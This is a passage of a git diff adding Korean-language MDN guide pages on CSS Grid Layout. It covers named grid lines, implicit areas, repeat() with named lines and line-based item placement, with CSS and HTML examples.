+ grid-row-start: main-start;
+}
+
+.box4 {
+ grid-column-start: content-start;
+ grid-column-end: main-end;
+ grid-row-start: content-end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('example_named_lines', '500', '330') }}</p>
+</div>
+
+<p>라인을 기준으로 배치할 때 적용할 수 있는 다른 모든 사항은 여기서도 똑같은 방식으로 작동하며 이름이 주어진 라인과 라인 번호를 섞어서 사용하실 수도 있습니다. 이름이 주어진 라인의 사용은 그리드를 재정의하는 반응형 디자인을 만들고자 할 때, 미디어 쿼리에서 라인 번호를 바꿔가면서 일일이 콘텐츠의 위치를 다시 정의해 줄 필요가 없다는 장점이 있습니다. 다만, 그리드를 정의할 때 라인의 이름은 항상 같은 것을 사용하도록 주의해야 합니다.</p>
+
+<h3 id="라인에_여러_개의_이름_지어주기">라인에 여러 개의 이름 지어주기</h3>
+
+<p>라인의 이름을 정할 때 하나 이상의 이름을 붙여주고 싶을 때가 있는데, 예를 들어 sidebar-end 그리고 main-start를 함께 표기하고자 할 때가 있습니다. 이럴 땐 <code>[sidebar-end main-start]</code>처럼 대괄호 안에서 공백을 사이에 두고 이름을 추가해 주면 됩니다. 그러면 해당 라인은 둘 중 아무 이름을 써도 같은 것을 가리키게 됩니다.</p>
+
+<h2 id="이름이_주어진_라인으로_만들어지는_잠재적_그리드_영역">이름이 주어진 라인으로 만들어지는 잠재적 그리드 영역</h2>
+
+<p>라인의 이름을 지어줄 때는 원하시는 이름 아무거나 붙여주셔도 된다고 말씀드린 바 있습니다. 여기에 붙이는 이름은 <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a>로서, 저자가 정의해 준 이름이 됩니다. 이름을 지을 때 명세서에 나타날 수 있는 단어는 피하시는 게 좋으며 <code>span</code>과 같이 혼동을 줄 수 있는 것도 사용하지 말아야 합니다. 그리고 이름에 따옴표가 포함되면 안 됩니다.</p>
+
+<p>이름은 아무거나 선택하실 수 있지만, 위 예제에 나와 있는 것처럼 만약에 영역 주변에 있는 라인의 이름 끝에 <code>-start</code> 혹은 <code>-end</code>를 붙이면, 그리드는 전체 이름 중 꼬리 부분을 뗀 주요 이름만으로 명명된 영역을 생성하게 됩니다. 위 예제에선, 열과 행의 라인 모두 <code>content-start</code>와 <code>content-end</code>라는 이름이 주어져 있습니다. 이 말은 <code>content</code>라는 이름의 영역이 자동으로 만들어 지면서, 원하시면 어떠한 요소든 해당 영역에 이 이름을 써서 배치할 수 있게 된다는 뜻입니다.</p>
+
+<div id="implicit_areas_from_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<p>다음 예제에선 위에서와 똑 같은 그리드를 정의해 주었지만, 이번엔 <code>content</code>라는 이름을 가진 영역에 하나의 아이템을 배치하였습니다.</p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+ grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+ grid-area: content;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="thing"&gt;I am placed in an area named content.&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}</p>
+</div>
+
+<p>여기선 라인의 이름을 지어 주면서 해당 라인이 감싸는 영역이 자동으로 만들어졌기 때문에, <code>grid-template-areas</code>를 써서 영역의 위치를 일일이 정의해 줄 필요가 없습니다.</p>
+
+<h2 id="이름이_주어진_영역으로_만들어지는_잠재적_그리드_라인">이름이 주어진 영역으로 만들어지는 잠재적 그리드 라인</h2>
+
+<p>지금까지 라인에 이름을 지어 주면 어떻게 해당 이름으로 된 영역도 함께 만들어지는지 살펴보았으며, 이는 역으로도 작용합니다. 이름이 주어진 템플릿 영역은 그에 어울리는 이름이 붙여진 라인을 생성하면서, 이를 이용해서 아이템을 배치할 수 있게 됩니다. 이전 그리드 템플릿 영역에 관한 가이드에서 만들었던 레이아웃을 그대로 가져와서, 여기에 영역을 지정해서 만들어진 라인을 써서 레이아웃에  적용해 본다면 이것이 어떻게 작동하는지 쉽게 이해하실 수 있을 겁니다.</p>
+
+<p>다음 예제에선 <code>overlay</code>라는 이름의 클래스를 지정한 추가 div 요소를 더하였습니다. <code>grid-area</code> 프로퍼티를 써서 이름이 주어진 영역을 생성하였고, <code>grid-template-areas</code> 프로퍼티에서 레이아웃을 정의해 주었습니다. 영역의 이름은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>hd</code></li>
+ <li><code>ft</code></li>
+ <li><code>main</code></li>
+ <li><code>sd</code></li>
+</ul>
+
+<p>이렇게 해서 만들어진 열과 행 라인의 이름은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>hd-start</code></li>
+ <li><code>hd-end</code></li>
+ <li><code>sd-start</code></li>
+ <li><code>sd-end</code></li>
+ <li><code>main-start</code></li>
+ <li><code>main-end</code></li>
+ <li><code>ft-start</code></li>
+ <li><code>ft-end</code></li>
+</ul>
+
+<p>이름이 주어진 라인의 모습은 아래 그림에서 확인할 수 있는데, 몇몇 라인들은 두 개의 이름을 가지고 있는 것을 확인하실 수 있습니다. 예를 들면, <code>sd-end</code>와 <code>main-start</code>는 같은 열 방향의 라인을 가리키고 있습니다.</p>
+
+<p><img alt="An image showing the implicit line names created by our grid areas." src="https://mdn.mozillademos.org/files/14699/5_multiple_lines_from_areas.png" style="height: 396px; width: 1140px;"></p>
+
+<p>여기서 잠재적으로 이름이 주어진 라인을 써서 <code>overlay</code> 요소를 배치하는 방법은 이름을 직접 지정한 라인을 써서 아이템을 배치하는 방법과 똑같습니다.</p>
+
+<div id="implicit_lines_from_area">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(9, 1fr);
+ grid-auto-rows: minmax(100px, auto);
+ grid-template-areas:
+ "hd hd hd hd hd hd hd hd hd"
+ "sd sd sd main main main main main main"
+ "ft ft ft ft ft ft ft ft ft";
+}
+
+.header {
+ grid-area: hd;
+}
+
+.footer {
+ grid-area: ft;
+}
+
+.content {
+ grid-area: main;
+}
+
+.sidebar {
+ grid-area: sd;
+}
+
+.wrapper &gt; div.overlay {
+ z-index: 10;
+ grid-column: main-start / main-end;
+ grid-row: hd-start / ft-end;
+ border: 4px solid rgb(92,148,13);
+ background-color: rgba(92,148,13,.4);
+ color: rgb(92,148,13);
+ font-size: 150%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="header"&gt;Header&lt;/div&gt;
+ &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+ &lt;div class="content"&gt;Content&lt;/div&gt;
+ &lt;div class="footer"&gt;Footer&lt;/div&gt;
+ &lt;div class="overlay"&gt;Overlay&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}</p>
+</div>
+
+<p>이름이 주어진 영역으로부터 라인이 생성되고 또 라인에 이름을 정해주면 거기에 맞는 영역이 만들어지면서, 이를 이용해 아이템을 배치할 수 있다는 점을 고려한다면, 그리드 레이아웃을 만들기 시작할 때 미리 계획해서 이름을 정하는 데 약간의 시간을 할애할 가치가 있음을 알 수 있습니다. 이름을 선택할 때 자신과 자기 팀원들 모두가 쉽게 이해할 수 있는 것으로 정한다면 모두에게 여러분이 만든 레이아웃을 쉽게 이용하는 데 도움을 줄 수 있을 것입니다.</p>
+
+<h2 id="repeat()을_써서_같은_이름을_가진_여러_개의_라인_만들기">repeat()을 써서 같은 이름을 가진 여러 개의 라인 만들기</h2>
+
+<p>만약에 그리드에 있는 모든 라인에 독자적인 이름을 지어 주길 원하신다면, 트랙을 정의할 때 반복 용법을 사용하는 대신 대괄호 안에다 이름을 일일이 추가해줘야 해서 약간 장황하게 트랙의 정의를 작성하셔야 합니다. 반복 용법을 사용하게 되면 여러 라인이 같은 이름을 갖게 되는데, 이 또한 매우 유용할 수도 있습니다.</p>
+
+<p>다음 예제에서는 같은 너비를 가진 열두 개의 열로 구성된 그리드를 생성합니다. 여기선 1fr 너비의 열 트랙을 정의하기 전에 <code>[col-start]</code>라는 라인 이름을 함께 정의해 주었습니다. 이렇게 하면 <code>1fr</code> 너비의 세로 열 전면에 똑같이 <code>col-start</code>라는 이름이 주어진 12개의 열 방향의 라인으로 구성된 그리드를 만들게 됩니다.</p>
+
+<div id="multiple_lines_same_name">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<p> </p>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(12, [col-start] 1fr);
+}</pre>
+
+<p>이렇게 그리드를 생성하고 나면 여기에다 아이템을 배치할 수 있게 됩니다. 여러 개의 라인 이름을 <code>col-start</code>라는 이름으로 지어 주었기 때문에 <code>col-start</code> 라인을 기준 시작 지점으로 아이템을 배치하게 되면 그리드는 첫 번째에 있는 <code>col-start</code>라는 이름의 라인을 사용하게 되는데, 여기선 맨 왼쪽에 있는 라인이 여기에 해당합니다. 또 다른 라인을 가리키려면 이름과 함께 해당 라인의 번호를 더해주면 됩니다. 아이템을 <code>col-start</code>라는 이름의 첫 번째 라인으로부터 다섯 번째 라인까지 걸치도록 배치하려면 다음과 같이 정의해 줍니다:</p>
+
+<pre class="brush: css">.item1 {
+ grid-column: col-start / col-start 5
+}
+</pre>
+
+<p>또한, 여기선 <code>span</code> 키워드를 쓰실 수도 있습니다. 다음 아이템은 <code>col-start</code> 이름을 가진 일곱 번째 라인부터 세 개의 라인에 걸치도록 배치하였습니다.</p>
+
+<pre class="brush: css">.item2 {
+ grid-column: col-start 7 / span 3;
+}
+</pre>
+
+<p class="brush: html"> </p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;I am placed from col-start line 1 to col-start 5&lt;/div&gt;
+ &lt;div class="item2"&gt;I am placed from col-start line 7 spanning 3 lines&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}</p>
+</div>
+
+<p>이 레이아웃을 Firefox Grid Highlighter에서 살펴보면 세로 열 라인이 어떻게 구성되어 있는지 그리고 또 아이템들이 이 라인들에 따라 어떻게 배치되었는지 확인하실 수 있습니다.</p>
+
+<p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p>
+
+<p>반복 용법은 또한 트랙의 목록을 나열해서 사용할 수 있으며, 오직 하나의 트랙 크기만 반복하도록 쓰실 필요는 없습니다. 아래의 코드는 여덟 개의 트랙으로 구성된 그리드를 만드는데, 상대적으로 더 좁은 <code>1fr</code> 너비의 <code>col1-start</code>라는 라인 이름이 지정된 세로 열 트랙 다음으로 <code>3fr</code> 너비의 <code>col2-start</code>라는 라인 이름이 지정된 세로 열 트랙으로 구성되어 있습니다.</p>
+
+<pre class="brush: css">.wrapper {
+ grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+</pre>
+
+<p>만약에 반복 용법에 사용된 두 개의 라인이 서로 겹치게 된다면 그 둘은 나중에 하나로 합쳐지는데, 이는 반복 용법을 쓰지 않고 트랙을 정의할 때 하나의 라인에 여러 개의 이름을 지정해 주는 것과 똑같은 결과를 만들어 냅니다. 다음 정의에선 <code>1fr</code> 너비의 트랙 네 개를 생성하는데, 각 트랙은 서로 시작과 마지막을 지점에 있는 라인을 갖게 됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+ grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+</pre>
+
+<p>반복 표기법을 쓰지 않고 이번에 정의한 것과 같도록 작성해 준다면 다음과 같이 써줄 수 있습니다.</p>
+
+<pre class="brush: css">.wrapper {
+ grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr [col-end];
+}
+</pre>
+
+<p>트랙 목록을 사용했다면 <code>span</code> 키워드를 써서, 단지 몇 개의 라인들을 걸치게 할지 정해줄 뿐만 아니라, 특정 이름의 라인 몇 개를 걸쳐서 자리를 잡게 할지도 정해 줄 수 있습니다.</p>
+
+<div id="span_line_number">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+ grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+ grid-row: 2;
+ grid-column: col1-start 2 / span 2 col1-start;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;I am placed from col1-start line 1 to col2-start line 2&lt;/div&gt;
+ &lt;div class="item2"&gt;I am placed from col1-start line 2 spanning 2 lines named col1-start&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p>
+</div>
+
+<p>최근 세 개의 가이드를 통해서 여러분은 그리드를 이용해 아이템을 배치하는 방법이 아주 다양하다는 것을 발견하셨을 겁니다. 처음엔 이것이 너무 복잡하다고 느끼실 수도 있겠지만, 이 모든 것을 다 이해하고 사용하실 필요는 없다는 점을 기억하시기 바랍니다. 실상황에서 간단하고 명확한 레이아웃을 구현할 경우에는 이름이 지명된 템플릿 영역을 쓰는 것이 적당할 것입니다. 이것은 레이아웃이 어떤 모습을 보여줄지 시각적으로 좋은 묘사를 제공하며, 또한 그리드에 있는 아이템을 이리저리 쉽게 옮길 수도 있습니다.</p>
+
+<p>또한, 예를 들어 만약에 다중 칼럼에 꼭 들어맞는 레이아웃을 가지고 작업할 때는 이 가이드 마지막 부분에서 설명한 이름이 지정된 라인들을 사용했던 그리드가 제격입니다. 만약에 Foundation 혹은 Boostrap과 같은 프레임워크에서 채용한 그리드 시스템을 고려하신다면, 이들은 12개의 세로 열 그리드를 기준으로 하고 있습니다. 프레임워크에서는 세로 열을 모두 합쳐 최대 100%를 차지하도록 하는 모든 계산이 코드 속에 포함되어 있습니다. 하지만, 그리드 레이아웃에서 이 그리드 "프레임워크"를 구현하는데 필요한 코드는 아래처럼 아주 간단하게 작성할 수 있습니다:</p>
+
+<div class="three_column">
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-gap: 10px;
+ grid-template-columns: repeat(12, [col-start] 1fr);
+}
+</pre>
+
+<p>그러면 페이지 레이아웃에 이 프레임워크를 그대로 가져다 쓰실 수 있습니다. 예를 들어, 헤더와 푸터가 있는 세 개의 세로 열 레이아웃을 구현한다면 아래와 같은 마크업을 작성할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; * {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;header class="main-header"&gt;I am the header&lt;/header&gt;
+ &lt;aside class="side1"&gt;I am sidebar 1&lt;/aside&gt;
+ &lt;article class="content"&gt;I am the main article&lt;/article&gt;
+ &lt;aside class="side2"&gt;I am sidebar 2&lt;/aside&gt;
+ &lt;footer class="main-footer"&gt;I am the footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그러면 이것을 이번에 작성한 그리드 레이아웃 프레임워크를 써서 다음과 같이 배치할 수 있습니다.</p>
+
+<pre class="brush: css">.main-header,
+.main-footer {
+ grid-column: col-start / span 12;
+}
+
+.side1 {
+ grid-column: col-start / span 3;
+ grid-row: 2;
+}
+
+.content {
+ grid-column: col-start 4 / span 6;
+ grid-row: 2;
+}
+
+.side2 {
+ grid-column: col-start 10 / span 3;
+ grid-row: 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('three_column', '500', '330') }}</p>
+
+<p>다시 한번 말씀드리지만, Firefox Grid Highlighter는 지금까지 우리가 배치했던 아이템들이 그리드 위에 어떻게 놓였는지 확인할 때 아주 유용하답니다.</p>
+
+<p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p>
+</div>
+
+<p>필요한 건 이게 전부 다입니다. 복잡한 계산 작업도 필요하지 않고, 그리드가 1fr 크기의 세로 열 트랙에 공간을 할당하기 전에, 자동으로 10픽셀 크기의 경계 여백 트랙이 차지하는 공간을 알아서 제거해 줍니다. 차차 여러분만의 레이아웃을 만들다 보면, 용법에 점점 더 익숙해 지면서 자기에게 맞는 작업 방식을 터득하게 되고, 나중에 만들고자 하는 프로젝트의 유형에 따라 적당한 것을 고를 수 있는 요령이 생기게 되실 겁니다. 우선은 지금까지 소개된 여러 방법들을 가지고 몇몇 자주 쓰이는 레이아웃의 형태들을 만들어 보신다면, 아마도 곧 가장 효율적인 자기만의 작업 방식을 찾으실 수 있을 겁니다. 그러면, 다음 가이드에선 배치 관련 프로퍼티를 전혀 쓰지 않고도 아이템들이 그리드 위에 알아서 배치되도록 만드는 방법을 알아보겠습니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+ <ol>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
new file mode 100644
index 0000000000..91b32582b4
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
@@ -0,0 +1,649 @@
+---
+title: Line-based placement with CSS Grid
+slug: Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid
+tags:
+ - CSS
+ - CSS Grids
+ - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid
+---
+<p><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념을 다룬 문서</a>에서 라인 번호를 사용하여 그리드에 아이템을 배치하는 방법을 잠깐 살펴본 적이 있습니다. 이번 문서에서는 이 기본적 기능이 어떻게 작동하는지를 자세히 살펴보겠습니다.</p>
+
+<p>그리드를 연구할 때는 번호가 매겨진 라인부터 시작하는 것이 가장 논리적일 겁니다. 왜냐하면, 그리드 레이아웃을 쓸 때마다 거기엔 항상 번호가 매겨진 라인이 있기 때문입니다. 행과 열의 각 라인에는 번호가 매겨져 있으며, 라인에 번호를 매길 때는 1번부터 시작합니다. 그리드 라인은 문서의 작성 모드를 기준으로 번호가 매겨진다는 것을 명심하십시오. 영어와 같이 왼쪽에서 오른쪽으로 읽히는 언어로 쓰인 문서에서는 1번 라인이 그리드의 맨 왼쪽에 위치합니다. 반대로 오른쪽에서 왼쪽으로 읽히는 언어의 문서에서는 1번 라인이 그리드의 맨 오른쪽에 위치하게 됩니다. 문서 작성 모드와 그리드 사이의 상호 작용에 대해서는 나중에 자세히 알아보겠습니다.</p>
+
+<h2 id="간단한_예제">간단한 예제</h2>
+
+<p>아주 간단한 예로, 세 개의 세로 열 트랙과 세 개의 가로 행 트랙으로 구성된 그리드의 예를 들어보겠습니다. 여기엔 각 방향으로 4개의 라인이 있습니다.</p>
+
+<p>그리드 컨테이너 안에는 네 개의 자식 요소가 있습니다. 이것들을 아무런 조건 없이 그대로 그리드 위에 위치시키면, 자동 배치 규칙에 따라 각 아이템은 처음에 있는 네 개의 셀 위에 놓이게 됩니다. 여기서 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox의 Grid Highlighter</a>를 사용하면 그리드의 열과 행이 어떻게 정의되어 있는지 확인하실 수 있습니다.</p>
+
+<p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('간단한_예제', '300', '330') }}</p>
+
+<h2 id="라인_번호로_아이템_배치하기">라인 번호로 아이템 배치하기</h2>
+
+<p>아이템들을 그리드 위 어느 곳에 자리 잡게 할지 조정할 때는 라인을 기준으로 배치할 수 있습니다. 우선 아래 예제에서는 첫 번째 아이템을 그리드의 맨 왼쪽부터 시작해서 하나의 열 트랙에 자리하도록 하였습니다. 또한, 그리드 상단에 있는 첫 번째 행부터 시작해서 네 번째 행까지 확장하도록 하였습니다.</p>
+
+<div id="Line_Number">
+<pre class="brush: css">.box1 {
+ grid-column-start: 1;
+ grid-column-end: 2;
+ grid-row-start: 1;
+ grid-row-end: 4;
+}
+</pre>
+
+<p>몇몇 아이템의 위치를 지정해주면, 그리드에 있는 나머지 다른 아이템들은 자동 배치 규칙에 따라 연달아 놓이게 됩니다. 이 규칙은 나중에 가이드에서 어떻게 작동하는지 자세히 살펴볼 예정입니다만, 그리드와 작업하시면 자리를 지정하지 않은 아이템은 그리드의 비어있는 셀에 자동 배치되는 것을 자주 목격하실 수 있습니다.</p>
+
+<p>각 아이템을 개별적으로 지정해서 행과 열 트랙에 걸쳐 네 개의 아이템들을 모두 배치할 수 있습니다. 원하시면 여기에 몇몇 셀들을 그냥 비워 둘 수도 있습니다. 그리드 레이아웃의 장점 중 하나는, 비어 있는 공간으로 다른 요소가 떠올라 채워지는 것을 막기 위해 마진을 써서 밀어낼 필요가 없어서, 흰 여백이 들어간 디자인을 쉽게 구현할 수 있다는 점입니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div class="box1"&gt;One&lt;/div&gt;
+ &lt;div class="box2"&gt;Two&lt;/div&gt;
+ &lt;div class="box3"&gt;Three&lt;/div&gt;
+ &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box2 {
+ grid-column-start: 3;
+ grid-column-end: 4;
+ grid-row-start: 1;
+ grid-row-end: 3;
+}
+.box3 {
+ grid-column-start: 2;
+ grid-column-end: 3;
+ grid-row-start: 1;
+ grid-row-end: 2;
+}
+.box4 {
+ grid-column-start: 2;
+ grid-column-end: 4;
+ grid-row-start: 3;
+ grid-row-end: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Line_Number', '300', '330') }}</p>
+</div>
+
+<div id="Grid_Shorthands">
